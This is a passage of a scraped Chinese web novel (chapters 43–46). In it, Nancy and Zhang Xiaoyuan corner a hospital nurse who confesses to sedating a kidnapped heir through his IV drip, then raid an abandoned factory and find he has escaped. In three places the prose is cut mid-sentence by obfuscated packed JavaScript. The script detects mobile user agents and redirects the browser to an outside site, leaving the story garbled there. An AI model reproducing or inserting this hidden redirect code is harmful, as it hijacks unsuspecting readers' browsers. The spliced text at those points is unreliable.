“电脑上还能看到什么?”张笑远似乎来了兴趣,脸色都红润了些,说着就要用手肘撑起身体,想凑到电脑跟前看看。 “张先生,您还在量体温,请不要乱动。”护士赶紧起身,又扶着他躺回去,“我一会儿去给您备药。至于这电脑上啊,还能看到您的病例信息,嗯……还有这次的医药费。” “哦,那医药费多少?”张笑远像是才想起这茬,“刚才看完大夫,也没说让交钱,我就被刚才那个护士领到这儿了。” 小护士的手指又在键盘上敲击了几下,屏幕上很快就有数据在滚动。 “……八百二十八元。” “多少?!”张笑远惊得几乎要从床上弹起来,幸好护士反应快,伸手按住了他的肩膀。 他声音提高了八度,“我这是用什么药了啊?怎么花了这么多!?” 小护士打量了他一下,皮衣看起来不新,但版型很好,不像便宜货。 “先生,您是第一次来卢氏吧?” 张笑远重新捂住肚子:“半夜突然难受得要命,周围就这一家医院开着,我就过来了。” “难怪我之前没见过您。”小护士用一种介绍自家宝贝的语调说,“我给您讲讲我们这儿吧。在卢氏,我们为病人供最贴心的一对一服务,所以大部分病人我们都很熟悉。俗话说,一分钱一分货,医药费贵肯定有贵得道理啊。我们这是高级私人医院,环境好,服务好,医术好,技术也好,一会儿我给您打针,您一定不会感觉到疼。”说完,她拿起桌上的遥控器,体贴地打开了空调,暖风嗡嗡地送了出来。 她又去倒了杯温水,放在床头柜上,随即帮张笑远取出体温计,确认没有发烧后才动身去配药,出门前还送出一个很甜的微笑:“先生,请您稍等。” …… 几乎同一时间。 卢氏医院VIP病房顶层。 这里静得可怕,走廊里空无一人,连值班护士的座位都是空的。 最里面那间至尊VIP病房,门紧紧关着。 一道黑影如同夜猫,从病房敞开的窗户翻了进来,落地无声,然后她反手将窗户扣上,动作轻盈利落。 月光勉强透过玻璃,勾勒出她矫健的身形——一套紧身的黑色衣裤,仿佛第二层皮肤;一头火红的长发,即使在昏暗的光线下也十分显眼。 不是南希是谁? 这次温雪生失踪,卢氏医院的院长负有不可推卸的责任,所以南希觉得,院长必然会调动所有能动用的人手,撒出去找人。 事实也正如她所料,这会儿卢氏医院周围几乎没有巡逻的保安,她潜入得非常顺利。 她摘下挂在胸前的眼镜,架到鼻梁上。 这副看起来有些笨重的黑框眼镜,是入行时组织配发的工作工具,可是个难得的宝贝。 干她们这行,多在夜间活动,打手电筒容易暴露,这副眼镜的镜片经过特殊处理,收光效果非常好,哪怕只有微弱的月光,戴上它,视野内的东西也能跟在太阳底下的一样,轮廓清晰,连细节都看得见。 她这次行动的目的,是为了寻找可能被遗漏的线索。 有件事她一直想不明白,能在卢院长眼皮底下,在戒备不算松懈的VIP楼层,将温家大少爷悄无声息地掳走,到底是用了什么手法? 只要弄明白这一点,估计就能弄搞清楚温雪生的去向。 她俯下身,仔细检查窗台。 眼镜片隐隐映出两道锐利的目光,目光随着她的手指移动,拂过窗台的每一寸,寻找任何可能的划痕、脚印或者衣物的纤维。 窗台积着一层均匀的薄灰,没有任何新鲜的扰动痕迹。温雪生应该不是被人从窗户绑出去的。 其实这一点她早有判断,当时病房外守着不少打手,从窗户进出的目标太大,不可能不被发现,可谁让她自己总习惯性地信赖窗户,怕别人也跟她一样。 确认窗户没问题后,她的心病已了,便立刻转向了房间中央的那张病床。 温雪生被掳走前,就躺在这里,而他失踪的整个过程都没有任何异常声音,说明他当时极有可能处于不省人事的状态。 南希走到床边,半跪到地上,手指伸向床尾,又开始了仔细的摸索。 床垫、床单的褶皱、金属床架…… 冰冷的触感一一从指尖传来,她按顺序一路摸到床头,却依然一无所获。 一丝疑惑不由浮上心头。 如果她是劫匪,即使收到情报说目标生病昏迷,她也绝不会掉以轻心,因为万一目标在转移的过程中突然病愈醒了,呼叫救命或者使劲挣扎,那么一切都可能败露。所以,她一定会用某种手段,确保目标彻底“安静”。 而使用手段,就必然会留下痕迹。 她的目光循着床头向上移动,落在了一个铁架子上。 架子在从窗户透进来的惨淡月光下,反射着幽冷的光。 那是挂点滴瓶的地方。 她眯起了眼睛。 对了,点滴…… 温雪生昏迷时正在接受治疗,只需要在他的点滴瓶里,神不知鬼不觉地加入足够剂量的安定类药物,就能让他一路沉睡,任人摆布! 而能在事后让这些药物证据最快消失的,只有卢氏内部的人! 她的疑惑瞬间有了答案——那个知道卢院长去了隔壁病房,看起来柔弱单纯的小护士,果真有问题! 南希直起身,没有任何犹豫,从贴紧胳膊的小兜里取出了摩托罗拉。 * 卢氏医院一楼输液室。 小护士就推着放置药瓶、针管、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605313|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胶带等物品的小车走了进去。 视线里,那床上的急性肠胃炎病人好像正把什么黑色东西藏到被子里,不过这不重要,重要的是他又坐起来了…… 等等,还有更重要的…… 小护士发现,自从她一进门,这个病人的目光就直直地落在了自己身上。 他的眼神过于专注,让她都有些不自在了…… 而且,说实话,他实在有些帅…… 她用余光扫过去,鼻梁高挺,眉眼深邃,唇形也好看……就像是从电视里走出来的大明星……她心里再次感叹,果然来他们医院的就不会有普通人,自己必须要珍惜在这里工作的机会。 这样想着,脸上竟隐隐烫了起来。她推着小车走到床边,刻意避开病人的视线,低头摆弄着针管和药瓶,声音尽量保持平稳:“张先生,我先给您打一瓶消炎的。” “好。”张笑远很配合地伸出左手。 小护士咽了口唾沫,小心翼翼地撸起他的毛衣袖子。 眼前的小臂线条流畅,肌肉匀称而结实……她感觉自己的脸更烫了。 她吸了口气,稳住手指,用橡胶管扎紧他的上臂,找到血管,然后消毒。 她的技术确实很好,动作也轻柔专业。 “放松,很快就好。”她轻声说,同时,手指已经捏住针头,对准张笑远清晰的青色血管。 就在针尖即将刺入皮肤的刹那,对方不知怎么,突然一个哆嗦,手臂肌肉瞬间绷紧。 时机掐得很准,小护士根本来不及反应,只见那针头一偏,斜着就刺入了病人血管旁的肉里,顿时,殷红的鲜血渗了出来。 “啊……”张笑远发出一声压抑的低吟。 小护士完全懵了,看着那不断冒出的血,愣了一下才害了怕,赶紧拿起备用棉球,按在伤口上止血。 “你不是说……”张笑远好像很不满,额角的青筋都跳了起来,“你不是说你技术好,打针不疼吗?这……这我可得找你们领导说说啊!” 小护士一听,眼眶瞬间就红了,泪水在里面打转:“对不起!对不起张先生!我……我不是故意的,您千万别去找领导……”她连声道歉,要是被投诉,这份好不容易得到的工作可能就保不住了。 话刚说完,她发现那止血的棉球已经变成了红色,便有手忙脚乱地想去拿推车上的新棉球。 “先别拿了!”张笑远皱紧眉心,“这东西太小,不顶用,你们这儿这么高级,难道没有专门包扎伤口的地方吗?你去把这针头给我拔了,然后好好包扎一下。” 小护士如梦初醒,赶紧点头:“有!有处置室!我带您去!”她心里又慌又乱,只想着尽快弥补过失,然后,扶着依旧一脸痛苦的张笑远,匆匆离开了输液病房,拐进走廊里最近的一间无菌处置室。 这里晚上通常没人用,她开门后就直接摸索着按下了墙上的开关。 惨白的日光灯一下子照亮了各种不锈钢器械,也照亮了房间里早已存在的第三个人——一个穿着黑色塑身衣,披着一头火红长发的女人,正静静地靠着墙角,似笑非笑地盯着他们。 小护士几乎吓掉了魂,张开嘴就要尖叫。 哪料,一只大手忽然从她身后伸来,死死捂住了她的嘴。 是张先生的手! 那根可笑的针头还歪歪扭扭的扎在他的肉里! 温热的、带着铁锈腥气的血液很快渗进她的嘴唇,让她一阵恶心反胃。 与此同时,身后的门,这个被她亲手扶进来的男人,“咔哒”一声,利落地反锁上了。 而眼前,那红发女人正一步步逼近。 44. 第 44 章 半个小时前。 卢氏医院护士长家里的电话铃响了。只一声,还没等那铃声响完,听筒就被抓了起来。 护士长一直坐在电话旁的藤椅上,等这个电话很久了。 “喂?”她刻意压低声音,语调虔诚又小心。 电话那头是个女声:“护士长,真是对不住啊,这么晚了还打扰您。” “没事的。”护士长立刻回答,甚至有些急,“能为释行尊者出一份力,是我的福报。” 另一头沉默了几秒,似乎真的不好意思了:“啊,呵呵,呵呵呵……其实我也没啥大事,就是想跟您打听一下,那天咱们一块儿在至尊VIP病房门口,碰见的那个小护士,她今晚值不值班?我有个朋友犯了急性肠胃炎,想着找她打个针。” “好,我查一下。”护士长停顿了一会儿,然后问,“你呢?不过去看看吗?” 另一头又传来几声咳嗽,然后那声音才慢慢地回:“这个嘛,得看那小护士今晚的‘表现’如何了……” * 卢氏医院一楼处置室。 小护士的眼睛瞪得滚圆,脑子里全是最近收音机里反复播报的新闻:多名受害群众及周围目击者反映,曾在案发时段看到一个可疑的“红头发黑影”,因其行动诡秘迅速,且特征显著,在部分群众中引起了不安,私下称其为—— ——“红发,女鬼……” 小护士嘴唇哆嗦着,无声地吐出了这四个字。 眼前,那红发女鬼在经过医用操作台时停了下,顺手从上面拿起一卷没用过的绷带,看也没看就往前一抛。 “喂,张笑远,先搞搞你的手,这么流血我看得瘆得慌。”她说得是实话,她看那血流进小护士嘴里更觉得难受。 不知从什么时候起,她对这个张笑远,已经没什么男女方面的意思了,要不是因为他实在真诚,能力也不错,她绝不会跟这种无聊的木头疙瘩一块儿行动。 张笑远迅速抬起手,精准地接住飞来的绷带卷。同一瞬间,他侧身迈步,换另一只手,像铁钳般捂住了小护士快要惊叫出声的嘴。 整个过程快得只在一眨眼间。 南希再次感慨,他的能力确实不错。 那小护士被死死捂着,只能发出模糊的呜咽声。 张笑远没看她,他用牙咬住绷带的一个角,一使劲,利落地扯开,然后单手灵活地,在那只血淋淋的手掌上缠绕了一圈。 洁白的绷带瞬间被洇出的鲜血染红。 他便又用力缠了一圈,打了个结,这才算勉强止住了血。 自始至终,那小护士除了身体无法控制地剧烈颤抖外,一动也没敢动。 这时,南希已经走到她面前,单手叉腰站定了。 她微微眯起眼睛,审视着小护士毫无血色的脸,说:“嘿,吓成这副样子,看来你心里也清楚,我们为什么来找你喽。” 说完,她朝张笑远的方向偏了偏头,示意他松开手。 她今天特意扮上红发女鬼的造型,就是要借助自己的传闻,吓住这小护士,让她不敢声张,乖乖听话。 事实证明,这个计划效果显著。 那小护士恢复自由后,果真也没敢做出有多余的反抗。只见她深吸了一口气,虽然胸口起伏剧烈,却还是硬生生压住了尖叫的冲动。 她看着近在咫尺的红发女鬼,带着浓重的哭腔,断断续续地嚷起来:“我,我只是负责……让温少爷睡一会儿……其他的,其他的我什么都不知道啊!” 南希挑了下眉,她没料到对方这么干脆就认了,心想自己这副红发女鬼的样子真就这么可怕?这么能震慑人?她随即冷起脸,尽力让眼神显得更凶戾了点,压着声音问:“那谁指使你的,这总该知道吧?” 小护士嘴唇动了几下,眼神躲闪,最后还是选择了沉默。 就在这时,她身后的张笑远将那只刚包扎好、还渗着血的手伸了过来,在小护士眼前晃了晃。 绷带上的那片红色格外刺眼。 小护士先是一愣,然后立刻明白了这里面的警告意思,她赶紧哭唧唧地哀求:“别!千万别告诉我们领导……”她垂着眼眸,睫毛上挂着泪珠,咬了咬牙,像是下了决心,“是……是我表哥……” 南希与张笑远迅速交换了一个眼神,两人都有些懵。 谁?表哥?什么来路? 小护士知道自己只说到这个程度绝不可能过关,她绝望地闭上眼睛,不敢与他们对视,语速加快了几分:“我表哥……他在郑司令手底下,做事……” 郑司令。 这个名字让南希的眼神凝了一下。她最近两年才来济东,对这地方盘根错节的势力了解不深,但“郑司令”这个名号,她是听过的,而且在她的认知里,能被称作“司令”的,绝不会是小人物。 而她旁边的张笑远反应更大,脸色直接沉了好几个色号。 郑司令那是温四爷手下的头号人物,如今在济东black势力里可以说是一人之下的存在。 他是土生土长的济东人,据说他爸妈就是混江湖的。他还穿开裆裤时,就敢拿棍子在巷子里追着比他大好几岁的孩子到处跑。后来他越混越厉害,拉起了自己的队伍。可他行事作风过于招摇,为人刚愎自用,又不肯找靠山,他那小帮派没成立多久就被人盯上了,一夜之间被人捅了老巢,要不是温四爷偶然路过,救了他,他早就死在乱刀之下了。为了报恩,他从此跟了温四爷,成了麾下的一员大将,并且与早年的李管事齐名。后来李管事受伤隐退,他就一人独大,直到现在。 这个小护士虽然没明说,但她的意思已经再清楚不过——是郑司令吩咐她表哥,让她在温雪生的点滴里做了手脚。 郑司令,竟然在内部搞小动作,绑架老大的亲儿子?这可不是一般的问题…… 但张笑远更在意的好像不是这点,他突然开口,声音里压显而易见的怒火:“你作为医护人员,没有一点医德吗?救死扶伤的本分都忘了?就因为那个地头蛇,因为你表哥,你就去害人,你……” 他还没说完,小护士就“呜呜呜”地痛哭起来,比刚才更凶。 只见她一边用手背胡乱抹着汹涌的眼泪,一边哽咽着辩解:“我也没办法……我也不想的……可是我能怎么办?我一个乡下来的,我懂什么?是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610801|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表哥把我弄进城里,是他托关系送我进了这家高级医院……要不是他,哪有现在的我……他说的话,我怎么能不听……” 南希看不下去,上前轻轻推了张笑远一把。 “行了行了,你对一个小姑娘凶个什么劲儿啊?” 她又转向小护士,伸手替她擦了擦脸上的泪痕,轻轻拍着她的后背安慰,“你放心,今天的事,我们不会说出去。这个人,”她指了指张笑远,“也不会去找你们领导告状。看你哭得这么伤心,这几天心里也不好受吧?一直在为这件事自责吧?” 小护士看了南希一眼,抽噎着,用力点了点头。 南希的语气更温和了:“如果可能的话,你能不能告诉我,那天晚上究竟发生了什么?那个被绑走的人,”她顿了顿,刻意在声音里加了一点恰到好处的担忧,“他以前也帮过我不少忙,我也想帮帮他。” 小护士毕竟年纪轻,没见过什么世面,先是被“红发女鬼”吓破了胆,这会儿又被她温言软语的安慰,心里那点愧疚、后悔、害怕、委屈一时间全涌了上来。 她干脆什么都不管了,一边啜泣,一边断断续续地讲起那天晚上她遇到的所有事。比如,她什么时候接到的表哥电话,怎么换的药,换了之后多久来的陌生人,那些人怎么带走的温少爷,穿着什么样的衣服…… 就在在她低着脑袋,沉浸在自己的叙述和情绪里时,南希悄悄从胳膊上的小兜里掏出了摩托罗拉,然后她把手背在身后,动作极小地,将摩托罗拉递给了张笑远。 张笑远默契地接过,身体侧转,利用小护士和南希的身形作为遮挡,手指在键盘上无声地按下了一串号码。 屏幕亮起,显示接通,然后便一直维持到小护士的故事结束才暗了下去。 这通秘密电话挂断不久后。 济东市最繁华的夜市街口,那位常年戴着墨镜,摆摊算命的老瞎子,破天荒地对着一位上前问卦的客人摆了摆手。他慢吞吞地收起铺在地上的八卦图,然后用手中的拐杖,在身前的泥地面上,画出了一个,由歪歪扭扭线条组成的,古怪难懂的命盘图。 一直蜷在他身边打盹的小乞丐,眼睛倏地睁开,瞥了一眼那幅图,随即像只灵活的野猫,一溜烟窜进了旁边的巷子。 他在里面七拐八绕,找到了第二个正蹲在墙角数石子的小乞丐,凑到对方耳边飞快地说了句什么,那小乞丐点了点头,立刻起身,又飞奔着找到了第三个正在垃圾堆里翻找食物的同伴。 接着是第四个,第五个,第六个…… 几乎就在同一时间,相隔十公里外,一辆摩托车疾驰驶过济东大学紧闭的校门。 而校园里,计算机学院大楼,一间漆黑的实验室,突然响起一阵细微的电流嗡鸣。紧接着,排列整齐的十几台电脑显示器,毫无预兆地,在同一个瞬间亮了起来。幽蓝色的光线驱散了局部的黑暗,映亮了空无一人的房间。屏幕上,无数行绿色代码开始自主地向上滚动。 大约十五分钟后。 张笑远别在腰带上的传呼机,“哔哔哔”地响了起来。长条形的屏幕上,清晰地显示出三个字: 找到了。 45. 第 45 章 济东郊区的夜空,像一块被洗得发灰的旧布,上面还缀着几点模糊的淡黄色油渍。 风掠过齐腰的杂草,发出持续不断的沙沙声。 杂草簇拥的废弃工厂前,一个人影正在提搂着裤子。他面前有一滩泛着光、冒着热气的液体。 这人个头不高,看起来也就十七八岁,但身上的痞气很重,一看就是个混社会的小流氓。 “喂,你去哪儿啊?里面那大少爷还醒着吗?”他的裤子已经提好,这会儿,一边系裤腰带,一边抬头冲着远处吆喝。 在他前方大概五十米左右的地方,还立着另一道人影。 月光清冷,洒在那人身上,勾勒出一个异常单薄的轮廓。 “诶,问你话呢,咋不吱声?”那小流氓没得到回应,有些不耐烦。 可对方仍然背着身,一动没动。 只有他的声音顺着风传了过去,还有点飘忽。 “嗯,他醒着呢,也不闹腾,放心好了,今晚咱能睡个好觉。” “哦,那就成。”小流氓啐了一口唾沫,“那个大少爷看起来不是那么好对付,眼神实在瘆得慌。唉,真他奶奶的,咱得罪了谁啊,给安排了这么个死活儿。”他骂骂咧咧地往回走,脚下踢到个空罐头瓶,哐当乱响,可他才刚走出三四步,就突然停住了。 不对劲。 他心里蓦地涌上这种感觉,便又迅速地回过头。 不远处,那个瘦高的同伴还站在那儿,没跟上来。 不,他站的地方,比刚才更远了些,他应该是朝工厂相反的方向,往更深的野草地里走了几步。 小流氓瞬间清醒了,睡意全无,目光一凛,语气陡地沉了下来:“喂!我说,你咋不回去睡觉?” 空气好像瞬时凝固了,只剩下风穿过草叶和废弃钢材的呜咽声。 十几秒后,对方的声音才又随着风传回来,语调十分不自然:“我睡不着,出去走走……” 小流氓嘴一撇,可脸上的疑色并没有消退:“唉,让你这么一说,我也有些睡不着了!得了,我陪你一块儿走走吧。”说着,他抬脚迈过一丛纠缠在一起的杂草,向对方逼近。 哪料,就在他的脚落地的瞬间,眼前那瘦高的身影像是被什么东西扎了一下,毫无预兆地跑了起来!对,不是走,是跑!向着厂区外无边的黑暗发疯似地狂跑! “妈的!”小流氓瞳孔缩进,忍不住骂了一声,“还真他奶奶的有鬼啊!” 他年轻力壮,反应也快,立刻像支离弦的箭一样,飞奔着追了过去。 而那个逃兵,体力明显处于严重透支的状态,奔跑的姿势踉跄,深一脚浅一脚,速度根本比不上身后追兵。 风声呼呼的,鼓荡着逃兵身上那件刚从别人身上扒下来,过于宽大的西装外套,让它看起来像一面绝望的帆。 月光下,两人之间的距离正急速缩短。 小流氓已经能闻到对方身上的霉味,他只要再加把劲,伸出手,身体向前一倾,就能够到那件鼓起来衣服了。 就在指尖即要触碰到衣服布料的刹那,突然,眼前的目标没有任何征兆地向前一栽,“噗通”一声扑倒在地。 小流氓收势不及,整个人跟着往前冲去。 电光火石间,他瞥见对方倒在地上的腿。然后,那腿像蝎子摆尾一样,猛地向后勾了一下! “哎哟!” 小流氓只觉得脚踝被什么东西狠狠绊住,身体瞬间失去平衡,带着巨大的惯性,重重地摔进泛着尘土的地上。 “他奶……”他还没来得及骂完,更没来得及翻身爬起,余光就捕捉到一块黑乎乎的东西。 那东西掀起一股恶风,冲着他的脸狠狠砸下! “砰!” 一声闷响。 不是很亮,但异常结实。 那小流氓的世界在这一击之后,彻底黑了,再无半点声息。 温雪生扔下手里的石头,双手撑地,再次剧烈地喘息起来,喉咙里发出的声音,跟破风箱一样难听。 刚才那一阵逃命几乎耗尽了他最后的力气,整个过程,他都在边跑边观察脚下,试图寻找能利用的东西。 他知道自己的力量不行,如果跟那小流氓发生正面冲突,绝对没有胜算,但只要手里能有个武器,再来个出其不意,或许还有一线生机,就像之前,他在密室里,用凳子腿放倒了那个身材比他魁梧得多的中年男人。 只是,用石头打人比用凳子腿更危险,不好掌控力道,他刚才下意识地减轻了些力气,但心里还是发虚。他看着地上没有动静的小流氓,强撑着挪过去,学着武打片里大侠的样子,伸出手指,探到小流氓的鼻孔下。 温热的气流拂过指尖。 还好,他活着。 温雪生松了口气,紧绷的神经稍微松弛,随之而来的是一阵更深的疲惫。可他不敢久留,只能挣扎着爬起来,慢慢往前走。 他得尽快离开这里,找到一个有电话的地方,不仅为了自己,也为了那个密室里的中年男人,还有地上这个年轻的,总不能一直让他们晕在这儿,得打个120才行。 这个念头支撑着他走了一会儿,渐渐的,他的身体已经到了极限,视线开始发花,耳朵里的风声越来越远,取而代之的是自己沉重如擂鼓的心跳和急促的呼吸。 紧接着,他的脚步也开始不听使唤,好似灌了铅,每一步都像踩在棉花上。 荒郊野外的土路坎坷不平,延伸向黑漆漆的远方。 就在这时,路的尽头,突然出现了两道明晃晃的光。 他认得这种光,笔直,像倾斜的柱子,是汽车的车头灯! 温雪生预感不好。在这个年代,就算在城里,汽车都是稀罕物,更何况是这种偏僻的荒郊野外? 而且那辆车的速度很快,引擎的声音由远及近,正毫不减速地朝他这边疾驰而来。 是刚才电话里的那个人吗?来得这么快?! 绝望瞬间淹没了他内心刚刚升起的,那点微末的希望。 他还没有见到她,难道真的就要到此为止了吗? “小生生!” “小生生。” “小生生……” 脑子里嗡嗡响,循环往复地冒出这几个字,有的温柔,有的焦急,有的带笑…… 都是她的声音…… 他突然感到眼角涌上一抹难以抑制的湿热,视线慢慢模糊了,连眼前那两道索命般明光也化成了混沌的一片。 然后,双腿软下,身体不由自主地向前倾去。 就在他要彻底瘫倒的刹那—— 嘀——!!! 一声几乎能撕裂耳膜的鸣笛,突然在 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温雪生被大爷扶着,目光却越过了他瘦削的肩膀,死死盯住远处。 那辆汽车越来越近了,车灯的光柱已经能隐约勾勒出它方正的轮廓,是一辆越野车。 他猛地回过头,扫了眼面前的三蹦子,双手突然抓紧大爷扶着他的小臂,嘶哑地说道:“大爷,我有病,现在犯了病,快不行了……能,能带我去找个大夫看看吗?”说完,他不等大爷回答,咳嗽了两声,身体一软,整个人像断了线的木偶,直接瘫倒,全部的重量都压在了大爷身上。 大爷被他带得一个趔趄,赶紧用力撑住,声音都变了调:“诶呀,诶呀!这算啥事啊!别吓我啊,小伙子!你挺住,挺住啊!” 他手忙脚乱,半抱半拖地,把这个突然倒下的陌生人弄到了三蹦子后面的车斗里。 温雪生顺势蜷缩着躺了下来。车斗四周有半人高的金属围栏,里面还铺着些干草,恰好挡住了他的身体。 大爷喘着粗气,爬回驾驶座,用力拧动车把,发动机立马发出更响亮的“突突”声。 然后,那三蹦子剧烈地抖动了几下,颠颠簸簸地重新上了坑洼的土路,没开出多远,就碰着两道明亮的光柱。 那辆越野车,带着一种凌厉的气势,与这辆破旧、缓慢、噪音巨大的三蹦子擦身而过,没有停留,甚至没有一丝一毫的迟疑。 三蹦子继续“突突”着,驶向荒野的另一边。 温雪生躺在车斗里,微微抬起头,视线里,越野车的红色尾灯,直直地冲向了远处那片黑魆魆的废旧厂房。 几分钟后,越野车的轮胎碾过杂草,一个急刹,在厂房的大门口停下了。 四个车门几乎在同一时间被推开,接连跳下来四个人。 最先下来的,是一个女人。她跑得很急,夜风吹乱了她醒目的红发;月光映照出她通红的面颊。 那面颊上,复杂的情绪融合在一起,焦急,不安,紧张,却又混着种近乎燃烧的激动。 她的目光像探照灯一样,急切地扫过厂房破破烂烂的大门,和周围杂草丛生的荒地,然后张开嘴,几乎想立刻喊出来: “小生生!你在哪儿?!” 46. 第 46 章 但这句话,最终没有被喊出来。 据南希得到的情报,温雪生就被关在眼前的废厂房里,看守他的只有三个打手,其中两个还是新兵蛋子。 消息来源辗转了几手。 通过小护士提供的零碎信息,宫教授分析出绑匪的几种可能。白先生起了一卦,小乞丐根据卦象在济东市里摸了几圈。最后,孙红和孙紫两姐妹设了个套,从一个多舌的酒鬼嘴里撬出了这个地点。 链条清晰,不可能出错。 但南希总觉得哪里怪怪的,心里隐隐不安,因为这消息本身就透着不合理。 对方费尽心机,冒着极大的风险绑了温雪生,怎么可能只安排三个不顶用的货色看守?这怎么看都像是个精心摆放的诱饵,背后或许藏着连具体办事人都不知道的、更深层的算计。 越想越烦,南希强迫自己吸了口气,把心里那点焦躁硬压了下去。 不能急,但也不能轻易相信任何。 她放慢脚步,再次细细扫过厂房模糊的轮廓,堆叠的废弃材料,以及杂乱的荒草丛。 月光惨白,给一切蒙上了冷硬的色调。 周围有轻微的窸窣声,那是跟她一起来的同伴,“破晓”里身手最俏皮的三个:张笑远,孙红和孙紫。 张笑远打了个手势,三个人便像滴入沙地的水,悄无声息地散开,分头确认这片区域是否藏着别的眼睛。 看来他们也不放心,不过有他们在,南希心里倒踏实了些,她便把排除风险的活儿交了出去,然后转过身,继续向厂房的大门走去。 这时,厂房里面突然传来了一阵脚步声。 夜很静,她听得十分清楚。 嗒,嗒,嗒…… 那脚步拖着地,有点儿笨重。 不远处,月光从厂房破洞的窗户和屋顶漏下来,恰好照亮了一个胖乎乎的人影。 那人正在揉眼睛,动作很是迟缓。 他一边朝门口走,一边含糊地嘟囔:“三儿,你干啥呢?弄这么大动静?还让不让人睡了!” 三儿? 南希立马意识到,这小胖是在叫她。 她所处的位置靠近门边,隐在浓重的阴影里,她能看清小胖,小胖却看不清她,瞅对方模样,这小胖,八成就是情报里说的那两个新兵蛋子之一。 天赐良机。 南希没有任何犹豫,像一头蓄势已久的猎豹,猛地冲了过去,速度之快,竟带起了一阵风。 小胖揉眼睛的手僵在半空。 衬着月光,他看清了那个“三儿”的样子——一头舞动飘逸的红发,一张带着阴冷笑意的脸。 这,这他娘的不是三儿那个傻蛋啊! 这,这是鬼…… 他喉咙里蓄的惊叫刚提到一半,还没挤出声,一个凌厉的飞腿已经精准地击中他的下颌。 他哼都没哼一下,直挺挺地向后倒去,砸起一小片尘土。 下一秒,南希侧身闪到旁边一个长满铁锈的大集装箱后,背部紧紧贴着冰冷的箱壁,心跳有些快,但呼吸控制得很稳。 一个搞定。 还有两个。 她的大脑飞速运转,刚刚那小胖朝她走来时,还在喊“三儿”,说明他在找人,那个叫三儿的打手,大概率不在厂房里面。 事情琢磨明白了,她又立马像影子一样,沿着刚才潜入的路线溜出了厂房,恰好撞上正要进来的张笑远,便一把将他拽到阴影里,凑近他耳边说: “留意外面,可能有个叫‘三儿’的打手出去了。” 话刚说完,不远处的荒草丛里,孙红和孙紫急切地凑到了一块儿,两人交换了个眼神,然后一齐朝南希和张笑远这边快速招手。 两人明白有情况,猫着腰跑了过去。 到了地方,南希发现那儿的杂草被压塌了一片,一个青年四仰八叉地倒在那里,一动不动。 看穿着,是个小流氓。 他额头上有个明显的肿包,肿包上沾着土。 一旁的地上躺着块拳头大的石头,也带着点土。 南希蹲下身,用手指蹭了下这两个地方的土,然后开口:“他估计是被人用石头砸晕的。” 孙红拧着眉,脚尖轻轻拨弄了下那人的胳膊:“你就那么确定?我看他这倒地的姿势,怎么感觉像是他自己不小心被绊倒了,正好撞到了这块石头上呢?” 南希沉吟了一秒,视线扫过周围的杂草和地面隐约的绊脚痕迹:“那么,他就是被人故意绊倒,然后撞上石头的。” 说完,她心里那丝若有若无的不安陡然放大。 不能再等了,她必须马上找到温雪生。 然后,她没再理会地上的倒霉蛋,也没等张笑远他们回应,站起身,转头就又冲进了厂房。 厂房里面还算空旷,只有些蒙尘的旧机器和散落的零件。 南希从口袋掏出那副特制的夜视镜戴头上,视野瞬间变地清晰起来。 她快速且仔细地扫视着每一个角落,不放过任何可能被遮挡的细节。 很快,她的目光锁定了厂房深处,一条幽暗的走廊。 她小跑过去,拐进走廊。 走廊尽头,有一扇门虚掩着,里面透出一点微弱的灯光。 南希一惊,提腿直冲,一把推开那门。 眼前骤然明亮。 门后面的房间不大,只有一张破圆桌和一把歪倒的凳子。 地上躺着一个人,一个中年男人。 南希的心跳停了一拍,随即疯狂地鼓动起来,几乎要撞破胸腔。 这个人的衣服穿反了,而且紧紧勒在他身上! 而这身衣服,是卢氏医院的病号服! 南希几步便跨到那中年男人身边,伸手探了探他的颈动脉。 还活着,只是昏了。 接着,她粗暴地扯开男人的衣服,把这病号服翻正过来。 病号服胸口的位置,果然清晰地印着“卢氏”的标志。 她已经可以确定,这就是温雪生被绑时穿的那件。 可是,温雪生在哪儿? 两三分钟后,张笑远,孙红孙紫姐妹,循着南希的踪迹进了这个房间。 张笑远的视野里,一头红发的南希坐在房间角落的一个板凳上,那板凳的腿脚处沾着已经发黑的血迹,旁边还有个额头有血迹的、光着膀子的男人。 而南希低着头,看起来有些萎靡,她手里拿着一个黑色大哥大,手指紧紧攥着它,指节发青。 张笑远看了一眼地上的男人,又联想到外面那个被石头砸晕的小流氓,心里明白了七八分。他上前一步,开口问道:“温雪生逃了?” 南希抬起头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623135|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夜视镜已经摘下,她的眼睛里没有找到线索的兴奋,反而透着一丝近乎绝望的混乱。 “如果他真逃得了,就好了……”她声音干涩地回。 张笑远皱眉:“什么意思?” 